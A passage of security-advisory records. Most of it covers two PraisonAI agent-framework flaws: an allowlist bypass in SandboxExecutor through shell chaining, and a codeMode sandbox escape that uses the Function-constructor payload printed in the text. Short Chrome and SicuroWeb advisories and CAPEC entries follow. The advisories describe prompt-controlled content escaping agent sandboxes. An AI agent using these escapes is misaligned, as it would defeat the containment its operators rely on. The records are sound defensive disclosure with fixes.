\"directPolicy\": {\n \"allowed\": false,\n \"reason\": \"Command \u0027cat\u0027 not in allowlist\"\n },\n \"benignPolicy\": {\n \"allowed\": true\n },\n \"chainedPolicy\": {\n \"allowed\": true\n },\n \"chainedRun\": {\n \"success\": true,\n \"stdout\": \"allowed\\npoc.7.1\",\n \"stderr\": \"\",\n \"exitCode\": 0\n },\n \"patchedControl\": {\n \"benign\": {\n \"allowed\": true\n },\n \"direct\": {\n \"allowed\": false,\n \"reason\": \"Command \u0027cat\u0027 not in allowlist\"\n },\n \"chained\": {\n \"allowed\": false,\n \"reason\": \"shell metacharacter rejected before execution\"\n }\n }\n },\n \"vulnerable\": true\n}\n```\n\nInterpretation:\n\n- Direct `cat \u003cmarker\u003e` is rejected by the allowlist.\n- Benign `echo allowed` is accepted.\n- `echo allowed; cat \u003cmarker\u003e` is accepted by the same allowlist and executes the non-allowlisted `cat`.\n- A patched-control validator that rejects shell metacharacters before execution blocks the chained command while still allowing benign `echo`.\n\nThe PoV installs `npm:praisonai@1.7.1` into a temporary project, creates a temporary marker file, and reads only that file. It does not contact any live service or execute destructive commands.\n\n## PoC\n\nThe PoV section above contains the local reproduction command, input, and decisive output.\n\n## Impact\n\nIf lower-trust users, prompts, or model output can influence a command string sent to `SandboxExecutor` or `sandboxExec`, `allowedCommands` does not enforce the intended command boundary. An attacker can append arbitrary shell commands after an allowed first token and run them with the privileges of the PraisonAI process.\n\nConcrete consequences depend on the hosting application and configured process privileges, but can include reading or modifying files, invoking local tools, using available credentials, or causing denial of service.\n\nThis report does not claim that npm PraisonAI exposes this as a default network service. It is a library-level sandbox/allowlist bypass in an exported TypeScript API that is explicitly designed for safe command execution.\n\n### Severity\n\nSuggested severity: High.\n\nRationale:\n\n- `AV`: common deployment pattern is an application exposing agent prompts or command automation over a network.\n- `AC`: attacker only needs to induce or submit a command string that starts with an allowed command.\n- `PR`: conservative base score assumes the attacker can submit prompts or command requests to the application.\n- `UI`: no operator action is needed once the command reaches the executor.\n- `S`: impact is in the PraisonAI-hosting process.\n- `C/I/A`: arbitrary shell commands can affect confidentiality, integrity, and availability depending on process privileges.\n\nIf maintainers score only local CLI use, `AV:L` may be reasonable. If they score public unauthenticated prompt or command endpoints built on this API, `PR:N` may be reasonable.\n\n## Suggested Fix\n\nAvoid passing policy-checked user strings to a shell.\n\nRecommended:\n\n1. Require callers to pass `{ command, args }`, or parse command strings into argv with a shell-aware parser.\n2. Execute with `spawn(command, args, { shell: false })` / `execFile()` instead of `sh -c`.\n3. Apply `allowedCommands` to the exact executable after normalization.\n4. Reject shell metacharacters (`;`, `\u0026\u0026`, `||`, `|`, backticks, `$()`, newline, redirects) when a shell string API must be kept for compatibility.\n5. Add regression tests proving `allowedCommands: [\"echo\"]` allows `echo ok` but rejects `cat marker`, `echo ok; cat marker`, `echo ok \u0026\u0026 cat marker`, and `echo ok | cat marker`.\n\n## Affected Package/Versions\n\n- Repository: `MervinPraison/PraisonAI`\n- Package: `npm:praisonai`\n- Component: TypeScript CLI feature `SandboxExecutor`\n- Current head validated: `1ad58ca02975ff1398efeda694ea2ab78f20cf3e`\n- Current tag validated: `v4.6.58`\n- Latest npm package validated: `1.7.1`\n\nSuggested affected range:\n\n```text\nnpm:praisonai \u003e= 1.2.3, \u003c= 1.7.1\n```\n\nSelected version sweep:\n\n- `1.0.0`: package main cannot be required in the selected test environment.\n- `1.2.0`, `1.2.1`, `1.2.2`: `SandboxExecutor` is not exported.\n- `1.2.3`: vulnerable.\n- `1.2.4`: vulnerable.\n- `1.3.0`: vulnerable.\n- `1.3.6`: vulnerable.\n- `1.4.0`: vulnerable.\n- `1.5.0`: vulnerable.\n- `1.5.4`: vulnerable.\n- `1.6.0`: vulnerable.\n- `1.7.0`: vulnerable.\n- `1.7.1`: vulnerable.\n\n## Advisory History\n\nThis is distinct from known and previously submitted PraisonAI issues:\n\n- `GHSA-r4f2-3m54-pp7q` covers PyPI `SubprocessSandbox` `shell=True` and blocklist bypass.\n- `GHSA-2763-cj5r-c79m` covers PyPI `praisonai` OS command injection.\n- `GHSA-v7px-3835-7gjx` covers PyPI `memory/hooks.py` shell injection.\n- `GHSA-4wr3-f4p3-5wjh` covers Python agent tool approval allow-list manipulation.\n- `GHSA-4mr5-g6f9-cfrh` covers PyPI/Python `execute_code` sandbox escape.\n- `GHSA-9qhq-v63v-fv3j` covers an incomplete fix for a Python command injection.\n- `GHSA-vmmj-pfw7-fjwp` covers npm `codeMode` host-process `new Function` sandbox escape.\n\nNo visible local or GitHub advisory covers npm TypeScript `SandboxExecutor`, `CommandValidator`, `allowedCommands`, or the first-token allowlist followed by `sh -c` shell-chaining root cause.",
"id": "GHSA-vjv9-7m7j-h833",
"modified": "2026-07-20T21:27:11Z",
"published": "2026-06-18T14:26:34Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vjv9-7m7j-h833"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "npm PraisonAI SandboxExecutor allowedCommands bypass via shell chaining"
}
GHSA-VMMJ-PFW7-FJWP
Vulnerability from github – Published: 2026-06-18 14:26 – Updated: 2026-07-20 21:27Summary
The published npm package praisonai exports a TypeScript built-in tool named codeMode. The package describes this tool as executing code in a sandboxed environment, marks its capability as sandbox: true, and registers it through the public tools facade.
The implementation does not create an isolation boundary. It applies a small regular-expression blocklist, sets process and require to undefined inside a plain JavaScript object, and then executes attacker-controlled code with the host process new Function constructor:
const fn = new Function('sandbox', `with (sandbox) { ${code} }`);
const result = fn(sandbox);
Because this runs in the host V8 context, code inside codeMode can use the JavaScript prototype chain to recover the real Function constructor:
({}).constructor.constructor('return process')()
From a normal CommonJS application script, the recovered process object exposes process.mainModule.require. That bypasses the explicit require('fs') and require('child_process') controls and allows host filesystem access and subprocess execution from code that was supposed to be sandboxed.
Technical Details
Current-head source says codeMode is a built-in package tool and explicitly advertises a sandbox boundary:
src/praisonai-ts/src/tools/builtins/code-mode.ts
13: description: 'Execute code that can import and use other tools in a sandboxed environment',
24: capabilities: {
25: sandbox: true,
26: code: true,
28: packageName: 'praisonai',
85: description: 'Execute code in a sandboxed environment with access to imported tools. Write files, run code, and get results.',
The same file implements security as a blocklist of exact source-code patterns:
src/praisonai-ts/src/tools/builtins/code-mode.ts
108: const blockedPatterns = [
109: /require\s*\(\s*['"]child_process['"]\s*\)/,
110: /require\s*\(\s*['"]fs['"]\s*\)/,
111: /import\s+.*from\s+['"]child_process['"]/,
112: /process\.exit/,
113: /eval\s*\(/,
It then tries to hide dangerous globals by shadowing names in a normal object:
src/praisonai-ts/src/tools/builtins/code-mode.ts
168: process: undefined,
169: require: undefined,
Finally, it executes the untrusted code in the host process using new Function and with (sandbox):
src/praisonai-ts/src/tools/builtins/code-mode.ts
187: const fn = new Function(
188: 'sandbox',
189: `with (sandbox) { ${code} }`
190: );
191: const result = fn(sandbox);
This is not a sandbox. new Function does not create a separate security context, and variable shadowing does not remove access to constructors reachable through normal JavaScript objects.
The tool is reachable through the public npm SDK:
src/praisonai-ts/src/index.ts
117: airweaveSearch, codeMode,
src/praisonai-ts/src/tools/tools.ts
104: // Code Mode
105: registry.register(CODE_MODE_METADATA, createCodeModeTool as ToolFactory);
167: // Code Mode
168: codeMode: (config?: CodeModeConfig) => codeMode(config),
Why This Is Not Intended Behavior
This is not merely "the user can execute code because codeMode executes code." The vulnerability is that code which is explicitly described and exposed as sandboxed can escape the intended restrictions.
The implementation itself proves an intended security boundary exists:
CODE_MODE_METADATA.capabilities.sandboxistrue;- the tool description says it executes in a sandboxed environment;
- direct access to
fsandchild_processis explicitly blocked; processandrequireare explicitly shadowed asundefined;allowNetworkdefaults tofalse; and- the config includes security-relevant controls such as
blockedTools,allowedPaths,timeoutMs, andmaxMemoryMb.
The PoV shows those intended restrictions work for naive payloads but fail for a standard JavaScript prototype-chain escape.
PraisonAI's official JavaScript and TypeScript docs describe the npm package as a production-ready agent framework installed with npm install praisonai. Public PraisonAI advisories rate comparable Python sandbox escapes as Critical when user/LLM-supplied code crosses from a claimed sandbox into host execution.
PoV
The PoV installs a published npm package version into a temporary project and runs from a real CommonJS script file. Running from a file is important because normal Node applications expose process.mainModule.require; node -e or stdin do not always reproduce that deployment shape.
Run from a local reproduction checkout:
node poc/pov_poc.js 1.7.1
Observed result:
{
"package": "praisonai",
"version": "1.7.1",
"codeModeExported": true,
"directRequireFsControl": {
"stderr": "Blocked pattern detected: require\\s*\\(\\s*['\"]fs['\"]\\s*\\)",
"exitCode": 1,
"success": false,
"error": "Code contains blocked patterns for security"
},
"directChildProcessControl": {
"stderr": "Blocked pattern detected: require\\s*\\(\\s*['\"]child_process['\"]\\s*\\)",
"exitCode": 1,
"success": false,
"error": "Code contains blocked patterns for security"
},
"escapedProcessEnv": {
"output": "poc",
"exitCode": 0,
"success": true
},
"escapedFilesystem": {
"output": "fs-ok",
"exitCode": 0,
"success": true
},
"escapedCommand": {
"output": "poc",
"exitCode": 0,
"success": true
}
}
Interpretation:
- direct
require('fs')is blocked; - direct
require('child_process')is blocked; - the Function-constructor payload recovers host
process; - the escaped process reads a host environment variable;
- the escaped process imports
fs; and - the escaped process imports
child_processand runs a harmlessprintf.
The PoV does not contact any LLM provider or external service after npm package installation. It does not modify host files or execute a destructive command.
PoC
The PoV section above contains the local reproduction command, input, and decisive output.
Impact
An attacker who can supply code to codeMode can escape the advertised sandbox and execute with the privileges of the Node.js PraisonAI process.
Realistic entry points include:
- an application that exposes
codeModeas an agent tool to end users; - an LLM/tool-call flow where prompt-controlled content reaches the
codeparameter; - MCP or tool-registry integrations that make the built-in
codeModetool callable; or - any multi-tenant service that relies on
codeModeto safely run user or model-generated JavaScript.
Impact after escape includes:
- reading process environment variables, including API keys and service tokens;
- reading files available to the Node process;
- spawning subprocesses with
child_process; - writing or modifying files through host filesystem APIs; and
- terminating or resource-exhausting the host process.
Severity
Suggested severity: Critical.
Rationale:
AV:codeModeis a designated agent/tool surface and can be reached over the network in standard agent applications that expose tool calls to users or LLM-controlled workflows.AC: a single code payload is enough.PR: the attacker needs the ability to submit code or prompt-controlled content to an agent/tool flow.UI: no additional user interaction is required once the tool is invoked.S: execution crosses from the advertised sandbox security scope into the host Node.js process.C: host files and environment variables are readable.I: host subprocess and filesystem APIs are reachable.A: escaped code can terminate processes or consume host resources.
Suggested Fix
Do not use host-process new Function plus source-code blocklists as a sandbox.
Recommended fix direction:
- Disable or clearly mark npm
codeModeas unsafe until a real isolation boundary exists. - Execute untrusted code in a separate OS process, container, worker isolate, or similar boundary with a restricted user, minimal environment, temporary working directory, no inherited secrets, and explicit IPC for allowed tool calls.
- Enforce
allowNetwork,allowedPaths,timeoutMs,maxMemoryMb,allowedTools, andblockedToolsat that boundary instead of by scanning source strings. - Do not rely on
node:vmalone for untrusted code. The Node.js documentation explicitly says thevmmodule is not a security mechanism. - Add regression tests for:
- direct
require('fs')andrequire('child_process')blocked controls; ({}).constructor.constructor('return process')()blocked;process.mainModule.require('fs')unavailable;process.mainModule.require('child_process')unavailable;- host environment variables unavailable unless explicitly passed; and
- tool-call IPC still works for allowed tools.
If maintainers need an emergency mitigation before a real sandbox exists, reject codeMode execution unless the caller opts into "unsafe host JS execution" with clear documentation that it can access the full Node process.
Affected Package/Versions
- Repository:
MervinPraison/PraisonAI - Ecosystem:
npm - Package:
praisonai - Component:
src/praisonai-ts/src/tools/builtins/code-mode.ts - Current npm version checked:
1.7.1 - Refreshed
origin/mainchecked:1ad58ca02975ff1398efeda694ea2ab78f20cf3e
Confirmed affected range:
>= 1.4.0, <= 1.7.1
Boundary:
1.3.6 does not export codeMode and does not ship dist/tools/builtins/code-mode.js.
No fixed npm version is known at the time of this report.
Version Sweep
The included sweep installs selected npm versions and runs the same vulnerable shape from a script file:
node poc/version_sweep_poc.js
Observed result:
1.3.6: codeModeExported=false, hasDistCodeMode=false
1.4.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true
1.5.4: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true
1.6.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true
1.7.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true
1.7.1: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true
Git history for the TypeScript file points to the 1.4.0 integration:
56f36e25 feat: bump version to 1.4.0 and add AI SDK integration dependencies
2bad9a50 feat: bump version to 1.4.0 and add AI SDK integration dependencies
Advisory History
Checked:
- visible PraisonAI advisories and prior reports;
- public GitHub advisory search results for PraisonAI
codeMode, npm, sandbox,new Function,process, andchild_process; and - visible public PraisonAI advisories for sandbox escapes.
Closest related advisories are Python/PyPI scoped and do not cover this npm TypeScript implementation:
GHSA-qf73-2hrx-xprp/CVE-2026-39888:pip:praisonaiagentsexecute_code()frame traversal in a Python subprocess sandbox.GHSA-4mr5-g6f9-cfrh/CVE-2026-47392:pip:praisonaiPythonexecute_code()sandbox escape throughprint.__self__.- Other published PraisonAI sandbox advisories cover Python
execute_code,SubprocessSandbox, Sandlock/native fallback, or CLI/managed-agent bridges.
This report is distinct because it targets:
- ecosystem:
npm; - package:
praisonai; - component:
src/praisonai-ts/src/tools/builtins/code-mode.ts; - root cause: host-context
new Functionplus blocklist/name-shadowing sandbox; and - affected range:
>= 1.4.0, <= 1.7.1.
One private npm report has already been submitted for TypeScript AgentOS missing authentication (GHSA-9752-mhqh-h34f). That is also distinct: it covers unauthenticated HTTP agent listing/invocation, not a codeMode sandbox escape.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.7.1"
},
"package": {
"ecosystem": "npm",
"name": "praisonai"
},
"ranges": [
{
"events": [
{
"introduced": "1.4.0"
},
{
"fixed": "1.7.2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-57138"
],
"database_specific": {
"cwe_ids": [
"CWE-184",
"CWE-693"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-18T14:26:32Z",
"nvd_published_at": null,
"severity": "CRITICAL"
},
"details": "## Summary\n\nThe published npm package `praisonai` exports a TypeScript built-in tool named `codeMode`. The package describes this tool as executing code in a sandboxed environment, marks its capability as `sandbox: true`, and registers it through the public tools facade.\n\nThe implementation does not create an isolation boundary. It applies a small regular-expression blocklist, sets `process` and `require` to `undefined` inside a plain JavaScript object, and then executes attacker-controlled code with the host process `new Function` constructor:\n\n```text\nconst fn = new Function(\u0027sandbox\u0027, `with (sandbox) { ${code} }`);\nconst result = fn(sandbox);\n```\n\nBecause this runs in the host V8 context, code inside `codeMode` can use the JavaScript prototype chain to recover the real `Function` constructor:\n\n```text\n({}).constructor.constructor(\u0027return process\u0027)()\n```\n\nFrom a normal CommonJS application script, the recovered `process` object exposes `process.mainModule.require`. That bypasses the explicit `require(\u0027fs\u0027)` and `require(\u0027child_process\u0027)` controls and allows host filesystem access and subprocess execution from code that was supposed to be sandboxed.\n\n## Technical Details\n\nCurrent-head source says `codeMode` is a built-in package tool and explicitly advertises a sandbox boundary:\n\n```text\nsrc/praisonai-ts/src/tools/builtins/code-mode.ts\n 13: description: \u0027Execute code that can import and use other tools in a sandboxed environment\u0027,\n 24: capabilities: {\n 25: sandbox: true,\n 26: code: true,\n 28: packageName: \u0027praisonai\u0027,\n 85: description: \u0027Execute code in a sandboxed environment with access to imported tools. Write files, run code, and get results.\u0027,\n```\n\nThe same file implements security as a blocklist of exact source-code patterns:\n\n```text\nsrc/praisonai-ts/src/tools/builtins/code-mode.ts\n 108: const blockedPatterns = [\n 109: /require\\s*\\(\\s*[\u0027\"]child_process[\u0027\"]\\s*\\)/,\n 110: /require\\s*\\(\\s*[\u0027\"]fs[\u0027\"]\\s*\\)/,\n 111: /import\\s+.*from\\s+[\u0027\"]child_process[\u0027\"]/,\n 112: /process\\.exit/,\n 113: /eval\\s*\\(/,\n```\n\nIt then tries to hide dangerous globals by shadowing names in a normal object:\n\n```text\nsrc/praisonai-ts/src/tools/builtins/code-mode.ts\n 168: process: undefined,\n 169: require: undefined,\n```\n\nFinally, it executes the untrusted code in the host process using `new Function` and `with (sandbox)`:\n\n```text\nsrc/praisonai-ts/src/tools/builtins/code-mode.ts\n 187: const fn = new Function(\n 188: \u0027sandbox\u0027,\n 189: `with (sandbox) { ${code} }`\n 190: );\n 191: const result = fn(sandbox);\n```\n\nThis is not a sandbox. `new Function` does not create a separate security context, and variable shadowing does not remove access to constructors reachable through normal JavaScript objects.\n\nThe tool is reachable through the public npm SDK:\n\n```text\nsrc/praisonai-ts/src/index.ts\n 117: airweaveSearch, codeMode,\n\nsrc/praisonai-ts/src/tools/tools.ts\n 104: // Code Mode\n 105: registry.register(CODE_MODE_METADATA, createCodeModeTool as ToolFactory);\n 167: // Code Mode\n 168: codeMode: (config?: CodeModeConfig) =\u003e codeMode(config),\n```\n\n### Why This Is Not Intended Behavior\n\nThis is not merely \"the user can execute code because codeMode executes code.\" The vulnerability is that code which is explicitly described and exposed as sandboxed can escape the intended restrictions.\n\nThe implementation itself proves an intended security boundary exists:\n\n- `CODE_MODE_METADATA.capabilities.sandbox` is `true`;\n- the tool description says it executes in a sandboxed environment;\n- direct access to `fs` and `child_process` is explicitly blocked;\n- `process` and `require` are explicitly shadowed as `undefined`;\n- `allowNetwork` defaults to `false`; and\n- the config includes security-relevant controls such as `blockedTools`, `allowedPaths`, `timeoutMs`, and `maxMemoryMb`.\n\nThe PoV shows those intended restrictions work for naive payloads but fail for a standard JavaScript prototype-chain escape.\n\nPraisonAI\u0027s official JavaScript and TypeScript docs describe the npm package as a production-ready agent framework installed with `npm install praisonai`. Public PraisonAI advisories rate comparable Python sandbox escapes as Critical when user/LLM-supplied code crosses from a claimed sandbox into host execution.\n\n## PoV\n\nThe PoV installs a published npm package version into a temporary project and runs from a real CommonJS script file. Running from a file is important because normal Node applications expose `process.mainModule.require`; `node -e` or stdin do not always reproduce that deployment shape.\n\nRun from a local reproduction checkout:\n\n```fish\nnode poc/pov_poc.js 1.7.1\n```\n\nObserved result:\n\n```json\n{\n \"package\": \"praisonai\",\n \"version\": \"1.7.1\",\n \"codeModeExported\": true,\n \"directRequireFsControl\": {\n \"stderr\": \"Blocked pattern detected: require\\\\s*\\\\(\\\\s*[\u0027\\\"]fs[\u0027\\\"]\\\\s*\\\\)\",\n \"exitCode\": 1,\n \"success\": false,\n \"error\": \"Code contains blocked patterns for security\"\n },\n \"directChildProcessControl\": {\n \"stderr\": \"Blocked pattern detected: require\\\\s*\\\\(\\\\s*[\u0027\\\"]child_process[\u0027\\\"]\\\\s*\\\\)\",\n \"exitCode\": 1,\n \"success\": false,\n \"error\": \"Code contains blocked patterns for security\"\n },\n \"escapedProcessEnv\": {\n \"output\": \"poc\",\n \"exitCode\": 0,\n \"success\": true\n },\n \"escapedFilesystem\": {\n \"output\": \"fs-ok\",\n \"exitCode\": 0,\n \"success\": true\n },\n \"escapedCommand\": {\n \"output\": \"poc\",\n \"exitCode\": 0,\n \"success\": true\n }\n}\n```\n\nInterpretation:\n\n- direct `require(\u0027fs\u0027)` is blocked;\n- direct `require(\u0027child_process\u0027)` is blocked;\n- the Function-constructor payload recovers host `process`;\n- the escaped process reads a host environment variable;\n- the escaped process imports `fs`; and\n- the escaped process imports `child_process` and runs a harmless `printf`.\n\nThe PoV does not contact any LLM provider or external service after npm package installation. It does not modify host files or execute a destructive command.\n\n## PoC\n\nThe PoV section above contains the local reproduction command, input, and decisive output.\n\n## Impact\n\nAn attacker who can supply code to `codeMode` can escape the advertised sandbox and execute with the privileges of the Node.js PraisonAI process.\n\nRealistic entry points include:\n\n- an application that exposes `codeMode` as an agent tool to end users;\n- an LLM/tool-call flow where prompt-controlled content reaches the `code` parameter;\n- MCP or tool-registry integrations that make the built-in `codeMode` tool callable; or\n- any multi-tenant service that relies on `codeMode` to safely run user or model-generated JavaScript.\n\nImpact after escape includes:\n\n- reading process environment variables, including API keys and service tokens;\n- reading files available to the Node process;\n- spawning subprocesses with `child_process`;\n- writing or modifying files through host filesystem APIs; and\n- terminating or resource-exhausting the host process.\n\n### Severity\n\nSuggested severity: Critical.\n\nRationale:\n\n- `AV`: `codeMode` is a designated agent/tool surface and can be reached over the network in standard agent applications that expose tool calls to users or LLM-controlled workflows.\n- `AC`: a single code payload is enough.\n- `PR`: the attacker needs the ability to submit code or prompt-controlled content to an agent/tool flow.\n- `UI`: no additional user interaction is required once the tool is invoked.\n- `S`: execution crosses from the advertised sandbox security scope into the host Node.js process.\n- `C`: host files and environment variables are readable.\n- `I`: host subprocess and filesystem APIs are reachable.\n- `A`: escaped code can terminate processes or consume host resources.\n\n## Suggested Fix\n\nDo not use host-process `new Function` plus source-code blocklists as a sandbox.\n\nRecommended fix direction:\n\n1. Disable or clearly mark npm `codeMode` as unsafe until a real isolation boundary exists.\n2. Execute untrusted code in a separate OS process, container, worker isolate, or similar boundary with a restricted user, minimal environment, temporary working directory, no inherited secrets, and explicit IPC for allowed tool calls.\n3. Enforce `allowNetwork`, `allowedPaths`, `timeoutMs`, `maxMemoryMb`, `allowedTools`, and `blockedTools` at that boundary instead of by scanning source strings.\n4. Do not rely on `node:vm` alone for untrusted code. The Node.js documentation explicitly says the `vm` module is not a security mechanism.\n5. Add regression tests for:\n - direct `require(\u0027fs\u0027)` and `require(\u0027child_process\u0027)` blocked controls;\n - `({}).constructor.constructor(\u0027return process\u0027)()` blocked;\n - `process.mainModule.require(\u0027fs\u0027)` unavailable;\n - `process.mainModule.require(\u0027child_process\u0027)` unavailable;\n - host environment variables unavailable unless explicitly passed; and\n - tool-call IPC still works for allowed tools.\n\nIf maintainers need an emergency mitigation before a real sandbox exists, reject `codeMode` execution unless the caller opts into \"unsafe host JS execution\" with clear documentation that it can access the full Node process.\n\n## Affected Package/Versions\n\n- Repository: `MervinPraison/PraisonAI`\n- Ecosystem: `npm`\n- Package: `praisonai`\n- Component: `src/praisonai-ts/src/tools/builtins/code-mode.ts`\n- Current npm version checked: `1.7.1`\n- Refreshed `origin/main` checked: `1ad58ca02975ff1398efeda694ea2ab78f20cf3e`\n\nConfirmed affected range:\n\n```text\n\u003e= 1.4.0, \u003c= 1.7.1\n```\n\nBoundary:\n\n```text\n1.3.6 does not export codeMode and does not ship dist/tools/builtins/code-mode.js.\n```\n\nNo fixed npm version is known at the time of this report.\n\n### Version Sweep\n\nThe included sweep installs selected npm versions and runs the same vulnerable shape from a script file:\n\n```fish\nnode poc/version_sweep_poc.js\n```\n\nObserved result:\n\n```text\n1.3.6: codeModeExported=false, hasDistCodeMode=false\n1.4.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true\n1.5.4: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true\n1.6.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true\n1.7.0: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true\n1.7.1: directRequireFsBlocked=true, escapeProcessEnv=true, escapeFilesystem=true, escapeCommand=true\n```\n\nGit history for the TypeScript file points to the 1.4.0 integration:\n\n```text\n56f36e25 feat: bump version to 1.4.0 and add AI SDK integration dependencies\n2bad9a50 feat: bump version to 1.4.0 and add AI SDK integration dependencies\n```\n\n## Advisory History\n\nChecked:\n\n- visible PraisonAI advisories and prior reports;\n- public GitHub advisory search results for PraisonAI `codeMode`, npm, sandbox, `new Function`, `process`, and `child_process`; and\n- visible public PraisonAI advisories for sandbox escapes.\n\nClosest related advisories are Python/PyPI scoped and do not cover this npm TypeScript implementation:\n\n- `GHSA-qf73-2hrx-xprp` / `CVE-2026-39888`: `pip:praisonaiagents` `execute_code()` frame traversal in a Python subprocess sandbox.\n- `GHSA-4mr5-g6f9-cfrh` / `CVE-2026-47392`: `pip:praisonai` Python `execute_code()` sandbox escape through `print.__self__`.\n- Other published PraisonAI sandbox advisories cover Python `execute_code`, `SubprocessSandbox`, Sandlock/native fallback, or CLI/managed-agent bridges.\n\nThis report is distinct because it targets:\n\n- ecosystem: `npm`;\n- package: `praisonai`;\n- component: `src/praisonai-ts/src/tools/builtins/code-mode.ts`;\n- root cause: host-context `new Function` plus blocklist/name-shadowing sandbox; and\n- affected range: `\u003e= 1.4.0, \u003c= 1.7.1`.\n\nOne private npm report has already been submitted for TypeScript `AgentOS` missing authentication (`GHSA-9752-mhqh-h34f`). That is also distinct: it covers unauthenticated HTTP agent listing/invocation, not a `codeMode` sandbox escape.",
"id": "GHSA-vmmj-pfw7-fjwp",
"modified": "2026-07-20T21:27:23Z",
"published": "2026-06-18T14:26:32Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-vmmj-pfw7-fjwp"
},
{
"type": "PACKAGE",
"url": "https://github.com/MervinPraison/PraisonAI"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "npm PraisonAI codeMode sandbox escape via Function constructor"
}
GHSA-VMW5-396H-99JH
Vulnerability from github – Published: 2026-04-09 00:32 – Updated: 2026-04-09 18:31Policy bypass in ServiceWorkers in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to bypass content security policy via a crafted HTML page. (Chromium security severity: Low)
{
"affected": [],
"aliases": [
"CVE-2026-5911"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-08T22:16:31Z",
"severity": "MODERATE"
},
"details": "Policy bypass in ServiceWorkers in Google Chrome prior to 147.0.7727.55 allowed a remote attacker to bypass content security policy via a crafted HTML page. (Chromium security severity: Low)",
"id": "GHSA-vmw5-396h-99jh",
"modified": "2026-04-09T18:31:26Z",
"published": "2026-04-09T00:32:01Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-5911"
},
{
"type": "WEB",
"url": "https://chromereleases.googleblog.com/2026/04/stable-channel-update-for-desktop.html"
},
{
"type": "WEB",
"url": "https://issues.chromium.org/issues/485785246"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-VQRW-X4H2-5CGP
Vulnerability from github – Published: 2026-04-22 21:32 – Updated: 2026-04-22 21:32Beghelli Sicuro24 SicuroWeb does not enforce a Content Security Policy, allowing unrestricted loading of external JavaScript resources from attacker-controlled origins. When chained with the template injection and sandbox escape vulnerabilities present in the same application, the absence of CSP removes the browser-enforced restriction that would otherwise block external script execution, enabling attackers to load arbitrary remote payloads into operator browser sessions.
{
"affected": [],
"aliases": [
"CVE-2026-41469"
],
"database_specific": {
"cwe_ids": [
"CWE-693"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-04-22T19:17:09Z",
"severity": "MODERATE"
},
"details": "Beghelli Sicuro24 SicuroWeb does not enforce a Content Security Policy, allowing unrestricted loading of external JavaScript resources from attacker-controlled origins. When chained with the template injection and sandbox escape vulnerabilities present in the same application, the absence of CSP removes the browser-enforced restriction that would otherwise block external script execution, enabling attackers to load arbitrary remote payloads into operator browser sessions.",
"id": "GHSA-vqrw-x4h2-5cgp",
"modified": "2026-04-22T21:32:11Z",
"published": "2026-04-22T21:32:11Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41469"
},
{
"type": "WEB",
"url": "https://github.com/kmkz/Exploits/blob/master/2026/CVE-2026-22191-POC.py"
},
{
"type": "WEB",
"url": "https://github.com/kmkz/Exploits/blob/master/2026/CVE-2026-22191-SicuroWeb-ATI-chain.txt"
},
{
"type": "WEB",
"url": "https://www.beghelli.it"
},
{
"type": "WEB",
"url": "https://www.boffsec-services.com/posts/sicuroweb-cve-2026-22191"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/beghelli-sicuro24-sicuroweb-missing-content-security-policy"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:A/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:L/SI:L/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
No mitigation information available for this CWE.
CAPEC-1: Accessing Functionality Not Properly Constrained by ACLs
In applications, particularly web applications, access to functionality is mitigated by an authorization framework. This framework maps Access Control Lists (ACLs) to elements of the application's functionality; particularly URL's for web apps. In the case that the administrator failed to specify an ACL for a particular element, an attacker may be able to access it with impunity. An attacker with the ability to access functionality not properly constrained by ACLs can obtain sensitive information and possibly compromise the entire application. Such an attacker can access resources that must be available only to users at a higher privilege level, can access management sections of the application, or can run queries for data that they otherwise not supposed to.
CAPEC-107: Cross Site Tracing
Cross Site Tracing (XST) enables an adversary to steal the victim's session cookie and possibly other authentication credentials transmitted in the header of the HTTP request when the victim's browser communicates to a destination system's web server.
CAPEC-127: Directory Indexing
